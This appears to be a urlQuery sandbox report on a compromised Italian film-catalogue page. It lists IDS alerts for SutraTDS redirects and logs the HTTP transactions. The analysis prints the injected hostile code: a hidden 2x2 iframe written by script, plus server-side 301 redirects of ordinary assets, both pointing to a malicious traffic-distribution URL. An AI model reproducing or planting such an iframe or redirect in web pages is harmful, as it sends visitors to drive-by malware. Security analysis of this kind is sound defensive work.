Overview

URLhttp://www.xanaduweb.it/catalogo/film.php?cid=1619
IP31.7.147.132
ASNAS49360 RP ENGINEERING SAS DI ROMANO ALESSANDRO & C.S.A.S.
Location Italy
Report completed2012-11-01 07:25:51 CET
StatusLoading report..
urlQuery Alerts Detected SutraTDS URL pattern


Settings

UserAgentMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Referer
Adobe Reader8.0
Java1.6.0_26


Intrusion Detection Systems

Suricata /w Emerging Threats Pro
Timestamp Source IP Destination IP Severity Alert
2012-11-01 07:25:14 31.7.147.132 urlQuery Client2ET CURRENT_EVENTS TDS Sutra - HTTP header redirecting to a SutraTDS
2012-11-01 07:25:14 31.7.147.132 urlQuery Client2ET CURRENT_EVENTS TDS Sutra - page redirecting to a SutraTDS
2012-11-01 07:25:14 31.7.147.132 urlQuery Client2ET CURRENT_EVENTS TDS Sutra - HTTP header redirecting to a SutraTDS
2012-11-01 07:25:14 31.7.147.132 urlQuery Client2ET CURRENT_EVENTS TDS Sutra - page redirecting to a SutraTDS
2012-11-01 07:25:15 31.7.147.132 urlQuery Client2ET CURRENT_EVENTS TDS Sutra - page redirecting to a SutraTDS
2012-11-01 07:25:15 31.7.147.132 urlQuery Client2ET CURRENT_EVENTS TDS Sutra - HTTP header redirecting to a SutraTDS
2012-11-01 07:25:15 31.7.147.132 urlQuery Client2ET CURRENT_EVENTS TDS Sutra - page redirecting to a SutraTDS
2012-11-01 07:25:15 31.7.147.132 urlQuery Client2ET CURRENT_EVENTS TDS Sutra - HTTP header redirecting to a SutraTDS
2012-11-01 07:25:15 31.7.147.132 urlQuery Client2ET CURRENT_EVENTS TDS Sutra - page redirecting to a SutraTDS
2012-11-01 07:25:15 31.7.147.132 urlQuery Client2ET CURRENT_EVENTS TDS Sutra - HTTP header redirecting to a SutraTDS
2012-11-01 07:25:15 31.7.147.132 urlQuery Client2ET CURRENT_EVENTS TDS Sutra - page redirecting to a SutraTDS
2012-11-01 07:25:15 31.7.147.132 urlQuery Client2ET CURRENT_EVENTS TDS Sutra - HTTP header redirecting to a SutraTDS
2012-11-01 07:25:15 31.7.147.132 urlQuery Client2ET CURRENT_EVENTS TDS Sutra - HTTP header redirecting to a SutraTDS
2012-11-01 07:25:15 31.7.147.132 urlQuery Client2ET CURRENT_EVENTS TDS Sutra - page redirecting to a SutraTDS
2012-11-01 07:25:15 31.7.147.132 urlQuery Client2ET CURRENT_EVENTS TDS Sutra - page redirecting to a SutraTDS
2012-11-01 07:25:15 31.7.147.132 urlQuery Client2ET CURRENT_EVENTS TDS Sutra - HTTP header redirecting to a SutraTDS
2012-11-01 07:25:15 31.7.147.132 urlQuery Client2ET CURRENT_EVENTS TDS Sutra - HTTP header redirecting to a SutraTDS
2012-11-01 07:25:15 31.7.147.132 urlQuery Client2ET CURRENT_EVENTS TDS Sutra - page redirecting to a SutraTDS
2012-11-01 07:25:16 31.7.147.132 urlQuery Client2ET CURRENT_EVENTS TDS Sutra - HTTP header redirecting to a SutraTDS
2012-11-01 07:25:16 31.7.147.132 urlQuery Client2ET CURRENT_EVENTS TDS Sutra - page redirecting to a SutraTDS
2012-11-01 07:25:16 31.7.147.132 urlQuery Client2ET CURRENT_EVENTS TDS Sutra - HTTP header redirecting to a SutraTDS
2012-11-01 07:25:16 31.7.147.132 urlQuery Client2ET CURRENT_EVENTS TDS Sutra - page redirecting to a SutraTDS
2012-11-01 07:25:16 31.7.147.132 urlQuery Client2ET CURRENT_EVENTS TDS Sutra - HTTP header redirecting to a SutraTDS
2012-11-01 07:25:16 31.7.147.132 urlQuery Client2ET CURRENT_EVENTS TDS Sutra - page redirecting to a SutraTDS
2012-11-01 07:25:16 31.7.147.132 urlQuery Client2ET CURRENT_EVENTS TDS Sutra - HTTP header redirecting to a SutraTDS
2012-11-01 07:25:16 31.7.147.132 urlQuery Client2ET CURRENT_EVENTS TDS Sutra - page redirecting to a SutraTDS
2012-11-01 07:25:16 31.7.147.132 urlQuery Client2ET CURRENT_EVENTS TDS Sutra - HTTP header redirecting to a SutraTDS
2012-11-01 07:25:16 31.7.147.132 urlQuery Client2ET CURRENT_EVENTS TDS Sutra - page redirecting to a SutraTDS
Snort /w Sourcefire VRT
Timestamp Source IP Destination IP Severity Alert
2012-11-01 07:25:14 31.7.147.132 urlQuery Client1MALWARE-CNC TDS Sutra - HTTP header redirecting to a SutraTDS
2012-11-01 07:25:14 31.7.147.132 urlQuery Client1MALWARE-CNC TDS Sutra - HTTP header redirecting to a SutraTDS
2012-11-01 07:25:14 31.7.147.132 urlQuery Client1MALWARE-CNC TDS Sutra - page redirecting to a SutraTDS
2012-11-01 07:25:14 31.7.147.132 urlQuery Client1MALWARE-CNC TDS Sutra - HTTP header redirecting to a SutraTDS
2012-11-01 07:25:14 31.7.147.132 urlQuery Client1MALWARE-CNC TDS Sutra - page redirecting to a SutraTDS
2012-11-01 07:25:14 31.7.147.132 urlQuery Client1MALWARE-CNC TDS Sutra - HTTP header redirecting to a SutraTDS
2012-11-01 07:25:14 31.7.147.132 urlQuery Client1MALWARE-CNC TDS Sutra - page redirecting to a SutraTDS
2012-11-01 07:25:14 31.7.147.132 urlQuery Client1MALWARE-CNC TDS Sutra - page redirecting to a SutraTDS
2012-11-01 07:25:14 31.7.147.132 urlQuery Client1MALWARE-CNC TDS Sutra - page redirecting to a SutraTDS
2012-11-01 07:25:14 31.7.147.132 urlQuery Client1MALWARE-CNC TDS Sutra - HTTP header redirecting to a SutraTDS
2012-11-01 07:25:14 31.7.147.132 urlQuery Client1MALWARE-CNC TDS Sutra - HTTP header redirecting to a SutraTDS
2012-11-01 07:25:14 31.7.147.132 urlQuery Client1MALWARE-CNC TDS Sutra - page redirecting to a SutraTDS
2012-11-01 07:25:14 31.7.147.132 urlQuery Client1MALWARE-CNC TDS Sutra - page redirecting to a SutraTDS
2012-11-01 07:25:14 31.7.147.132 urlQuery Client1MALWARE-CNC TDS Sutra - HTTP header redirecting to a SutraTDS
2012-11-01 07:25:14 31.7.147.132 urlQuery Client1MALWARE-CNC TDS Sutra - HTTP header redirecting to a SutraTDS
2012-11-01 07:25:14 31.7.147.132 urlQuery Client1MALWARE-CNC TDS Sutra - page redirecting to a SutraTDS
2012-11-01 07:25:14 31.7.147.132 urlQuery Client1MALWARE-CNC TDS Sutra - page redirecting to a SutraTDS
2012-11-01 07:25:15 31.7.147.132 urlQuery Client1MALWARE-CNC TDS Sutra - HTTP header redirecting to a SutraTDS
2012-11-01 07:25:15 31.7.147.132 urlQuery Client1MALWARE-CNC TDS Sutra - HTTP header redirecting to a SutraTDS
2012-11-01 07:25:15 31.7.147.132 urlQuery Client1MALWARE-CNC TDS Sutra - page redirecting to a SutraTDS
2012-11-01 07:25:15 31.7.147.132 urlQuery Client1MALWARE-CNC TDS Sutra - page redirecting to a SutraTDS
2012-11-01 07:25:15 31.7.147.132 urlQuery Client1MALWARE-CNC TDS Sutra - HTTP header redirecting to a SutraTDS
2012-11-01 07:25:15 31.7.147.132 urlQuery Client1MALWARE-CNC TDS Sutra - HTTP header redirecting to a SutraTDS
2012-11-01 07:25:15 31.7.147.132 urlQuery Client1MALWARE-CNC TDS Sutra - page redirecting to a SutraTDS
2012-11-01 07:25:15 31.7.147.132 urlQuery Client1MALWARE-CNC TDS Sutra - HTTP header redirecting to a SutraTDS
2012-11-01 07:25:15 31.7.147.132 urlQuery Client1MALWARE-CNC TDS Sutra - page redirecting to a SutraTDS
2012-11-01 07:25:15 31.7.147.132 urlQuery Client1MALWARE-CNC TDS Sutra - HTTP header redirecting to a SutraTDS
2012-11-01 07:25:15 31.7.147.132 urlQuery Client1MALWARE-CNC TDS Sutra - page redirecting to a SutraTDS
2012-11-01 07:25:15 31.7.147.132 urlQuery Client1MALWARE-CNC TDS Sutra - HTTP header redirecting to a SutraTDS
2012-11-01 07:25:15 31.7.147.132 urlQuery Client1MALWARE-CNC TDS Sutra - page redirecting to a SutraTDS
2012-11-01 07:25:15 31.7.147.132 urlQuery Client1MALWARE-CNC TDS Sutra - page redirecting to a SutraTDS


Recent reports on same IP/ASN/Domain

Last 6 reports on IP: 31.7.147.132

Date Alerts / IDS URL IP
2012-11-30 04:26:223 / 1http://www.xanaduweb.it/catalogo/film.php?cid=308331.7.147.132
2012-11-29 23:27:203 / 4http://www.xanaduweb.it/catalogo/film.php?cid=352131.7.147.132
2012-11-29 21:29:383 / 3http://www.xanaduweb.it/catalogo/film.php?cid=341131.7.147.132
2012-11-07 23:17:321 / 58http://www.xanaduweb.it/31.7.147.132
2012-11-01 12:12:331 / 95http://www.xanaduweb.it/catalogo/film.php?cid=147031.7.147.132
2012-11-01 11:50:271 / 37http://www.xanaduweb.it/catalogo/film.php?cid=184531.7.147.132

Last 6 reports on ASN: AS49360 RP ENGINEERING SAS DI ROMANO ALESSANDRO & C.S.A.S.

Date Alerts / IDS URL IP
2013-03-24 01:48:473 / 10http://aebstudio.com/91.214.72.38
2013-03-22 22:01:120 / 8http://www.aziendemadeinitaly.com/templates/aziende_italy/js/domready_fix.js91.214.72.38
2013-03-17 23:39:403 / 10http://aebstudio.com/91.214.72.38
2013-02-24 00:28:360 / 6http://www.paolasiano.com/91.214.72.40
2013-02-18 00:40:184 / 6http://bestpack.it/91.214.72.38
2013-02-15 12:47:370 / 2http://aziendemadeinitaly.com/media/system/js/mootools.js91.214.72.38

Last 6 reports on domain: www.xanaduweb.it

Date Alerts / IDS URL IP
2012-11-30 04:26:223 / 1http://www.xanaduweb.it/catalogo/film.php?cid=308331.7.147.132
2012-11-29 23:27:203 / 4http://www.xanaduweb.it/catalogo/film.php?cid=352131.7.147.132
2012-11-29 21:29:383 / 3http://www.xanaduweb.it/catalogo/film.php?cid=341131.7.147.132
2012-11-07 23:17:321 / 58http://www.xanaduweb.it/31.7.147.132
2012-11-01 12:12:331 / 95http://www.xanaduweb.it/catalogo/film.php?cid=147031.7.147.132
2012-11-01 11:50:271 / 37http://www.xanaduweb.it/catalogo/film.php?cid=184531.7.147.132



JavaScript

Executed Scripts (1)


Executed Evals (0)


Executed Writes (1)

#1 JavaScript::Write (size: 138, repeated: 1)

<iframe src="http://whitecada.ru/in.cgi?16" name="Twitter" scrolling="auto" frameborder="no" align="center" height="2" width="2"></iframe>


HTTP Transactions (19)


Request Response
GET /catalogo/film.php?cid=1619 HTTP/1.1

Host: www.xanaduweb.it

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
HTTP/1.1 302 Found

Content-Type: text/html
Date: Thu, 01 Nov 2012 06:33:35 GMT
Server: Apache/2
X-Powered-By: PHP/5.2.17
Set-Cookie: PHPSESSID=a303ada0e6e0f3c00741d499bbc25266; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Location: /catalogo/index.php
Vary: Accept-Encoding,User-Agent
Content-Encoding: gzip
Content-Length: 20
Keep-Alive: timeout=1, max=100
Connection: Keep-Alive
GET /catalogo/index.php HTTP/1.1

Host: www.xanaduweb.it

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Cookie: PHPSESSID=a303ada0e6e0f3c00741d499bbc25266
HTTP/1.1 200 OK

Content-Type: text/html
Date: Thu, 01 Nov 2012 06:33:35 GMT
Server: Apache/2
X-Powered-By: PHP/5.2.17
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Content-Encoding: gzip
Content-Length: 6635
Keep-Alive: timeout=1, max=99
Connection: Keep-Alive
GET /images/header.gif HTTP/1.1

Host: www.xanaduweb.it

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.xanaduweb.it/catalogo/index.php
Cookie: PHPSESSID=a303ada0e6e0f3c00741d499bbc25266
HTTP/1.1 301 Moved Permanently

Content-Type: text/html; charset=iso-8859-1
Date: Thu, 01 Nov 2012 06:33:35 GMT
Server: Apache/2
Location: http://whitecada.ru/in.cgi?16
Content-Length: 305
Keep-Alive: timeout=1, max=98
Connection: Keep-Alive
GET /css/style.css HTTP/1.1

Host: www.xanaduweb.it

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.xanaduweb.it/catalogo/index.php
Cookie: PHPSESSID=a303ada0e6e0f3c00741d499bbc25266
HTTP/1.1 301 Moved Permanently

Content-Type: text/html; charset=iso-8859-1
Date: Thu, 01 Nov 2012 06:33:35 GMT
Server: Apache/2
Location: http://whitecada.ru/in.cgi?16
Content-Length: 305
Keep-Alive: timeout=1, max=100
Connection: Keep-Alive
GET /flashobject.js HTTP/1.1

Host: www.xanaduweb.it

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.xanaduweb.it/catalogo/index.php
Cookie: PHPSESSID=a303ada0e6e0f3c00741d499bbc25266
HTTP/1.1 301 Moved Permanently

Content-Type: text/html; charset=iso-8859-1
Date: Thu, 01 Nov 2012 06:33:35 GMT
Server: Apache/2
Location: http://whitecada.ru/in.cgi?16
Content-Length: 305
Keep-Alive: timeout=1, max=100
Connection: Keep-Alive
GET /css/template_css.css HTTP/1.1

Host: www.xanaduweb.it

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.xanaduweb.it/catalogo/index.php
Cookie: PHPSESSID=a303ada0e6e0f3c00741d499bbc25266
HTTP/1.1 301 Moved Permanently

Content-Type: text/html; charset=iso-8859-1
Date: Thu, 01 Nov 2012 06:33:35 GMT
Server: Apache/2
Location: http://whitecada.ru/in.cgi?16
Content-Length: 305
Keep-Alive: timeout=1, max=100
Connection: Keep-Alive
GET /urchin.js HTTP/1.1

Host: www.google-analytics.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.xanaduweb.it/catalogo/index.php
HTTP/1.1 200 OK

Content-Type: text/javascript
Content-Length: 6847
Content-Encoding: gzip
Last-Modified: Mon, 22 Oct 2012 15:51:19 GMT
X-Content-Type-Options: nosniff, nosniff
Date: Thu, 01 Nov 2012 01:08:56 GMT
Expires: Thu, 15 Nov 2012 01:08:56 GMT
Vary: Accept-Encoding
Cache-Control: max-age=1209600, public
Age: 18978
Server: GFE/2.0
GET /images/t_bg_menu_r.gif HTTP/1.1

Host: www.xanaduweb.it

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.xanaduweb.it/catalogo/index.php
Cookie: PHPSESSID=a303ada0e6e0f3c00741d499bbc25266
HTTP/1.1 301 Moved Permanently

Content-Type: text/html; charset=iso-8859-1
Date: Thu, 01 Nov 2012 06:33:35 GMT
Server: Apache/2
Location: http://whitecada.ru/in.cgi?16
Content-Length: 305
Keep-Alive: timeout=1, max=100
Connection: Keep-Alive
GET /images/t_bg_menu_l.gif HTTP/1.1

Host: www.xanaduweb.it

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.xanaduweb.it/catalogo/index.php
Cookie: PHPSESSID=a303ada0e6e0f3c00741d499bbc25266
HTTP/1.1 301 Moved Permanently

Content-Type: text/html; charset=iso-8859-1
Date: Thu, 01 Nov 2012 06:33:35 GMT
Server: Apache/2
Location: http://whitecada.ru/in.cgi?16
Content-Length: 305
Keep-Alive: timeout=1, max=100
Connection: Keep-Alive
GET /images/bg_login_l.gif HTTP/1.1

Host: www.xanaduweb.it

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.xanaduweb.it/catalogo/index.php
Cookie: PHPSESSID=a303ada0e6e0f3c00741d499bbc25266
HTTP/1.1 301 Moved Permanently

Content-Type: text/html; charset=iso-8859-1
Date: Thu, 01 Nov 2012 06:33:35 GMT
Server: Apache/2
Location: http://whitecada.ru/in.cgi?16
Content-Length: 305
Keep-Alive: timeout=1, max=97
Connection: Keep-Alive
GET /images/sep_login.gif HTTP/1.1

Host: www.xanaduweb.it

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.xanaduweb.it/catalogo/index.php
Cookie: PHPSESSID=a303ada0e6e0f3c00741d499bbc25266
HTTP/1.1 301 Moved Permanently

Content-Type: text/html; charset=iso-8859-1
Date: Thu, 01 Nov 2012 06:33:35 GMT
Server: Apache/2
Location: http://whitecada.ru/in.cgi?16
Content-Length: 305
Keep-Alive: timeout=1, max=99
Connection: Keep-Alive
GET /images/bg_login_r.gif HTTP/1.1

Host: www.xanaduweb.it

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.xanaduweb.it/catalogo/index.php
Cookie: PHPSESSID=a303ada0e6e0f3c00741d499bbc25266
HTTP/1.1 301 Moved Permanently

Content-Type: text/html; charset=iso-8859-1
Date: Thu, 01 Nov 2012 06:33:35 GMT
Server: Apache/2
Location: http://whitecada.ru/in.cgi?16
Content-Length: 305
Keep-Alive: timeout=1, max=99
Connection: Keep-Alive
GET /media/film-della-settimana.gif HTTP/1.1

Host: www.xanaduweb.it

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.xanaduweb.it/catalogo/index.php
Cookie: PHPSESSID=a303ada0e6e0f3c00741d499bbc25266
HTTP/1.1 301 Moved Permanently

Content-Type: text/html; charset=iso-8859-1
Date: Thu, 01 Nov 2012 06:33:35 GMT
Server: Apache/2
Location: http://whitecada.ru/in.cgi?16
Content-Length: 305
Keep-Alive: timeout=1, max=99
Connection: Keep-Alive
GET /media/film-del-mese.gif HTTP/1.1

Host: www.xanaduweb.it

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.xanaduweb.it/catalogo/index.php
Cookie: PHPSESSID=a303ada0e6e0f3c00741d499bbc25266
HTTP/1.1 301 Moved Permanently

Content-Type: text/html; charset=iso-8859-1
Date: Thu, 01 Nov 2012 06:33:35 GMT
Server: Apache/2
Location: http://whitecada.ru/in.cgi?16
Content-Length: 305
Keep-Alive: timeout=1, max=99
Connection: Keep-Alive
GET /images/l_main.gif HTTP/1.1

Host: www.xanaduweb.it

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.xanaduweb.it/catalogo/index.php
Cookie: PHPSESSID=a303ada0e6e0f3c00741d499bbc25266
HTTP/1.1 301 Moved Permanently

Content-Type: text/html; charset=iso-8859-1
Date: Thu, 01 Nov 2012 06:33:35 GMT
Server: Apache/2
Location: http://whitecada.ru/in.cgi?16
Content-Length: 305
Keep-Alive: timeout=1, max=99
Connection: Keep-Alive
GET /images/r_main.gif HTTP/1.1

Host: www.xanaduweb.it

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.xanaduweb.it/catalogo/index.php
Cookie: PHPSESSID=a303ada0e6e0f3c00741d499bbc25266
HTTP/1.1 301 Moved Permanently

Content-Type: text/html; charset=iso-8859-1
Date: Thu, 01 Nov 2012 06:33:35 GMT
Server: Apache/2
Location: http://whitecada.ru/in.cgi?16
Content-Length: 305
Keep-Alive: timeout=1, max=96
Connection: Keep-Alive
GET /titles_thumb/quantumofsolance.jpg HTTP/1.1

Host: www.xanaduweb.it

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.xanaduweb.it/catalogo/index.php
Cookie: PHPSESSID=a303ada0e6e0f3c00741d499bbc25266
HTTP/1.1 301 Moved Permanently

Content-Type: text/html; charset=iso-8859-1
Date: Thu, 01 Nov 2012 06:33:35 GMT
Server: Apache/2
Location: http://whitecada.ru/in.cgi?16
Content-Length: 305
Keep-Alive: timeout=1, max=98
Connection: Keep-Alive
GET /in.cgi?16 HTTP/1.1

Host: whitecada.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.xanaduweb.it/catalogo/index.php


GET /in.cgi?16 HTTP/1.1

Host: whitecada.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.xanaduweb.it/catalogo/index.php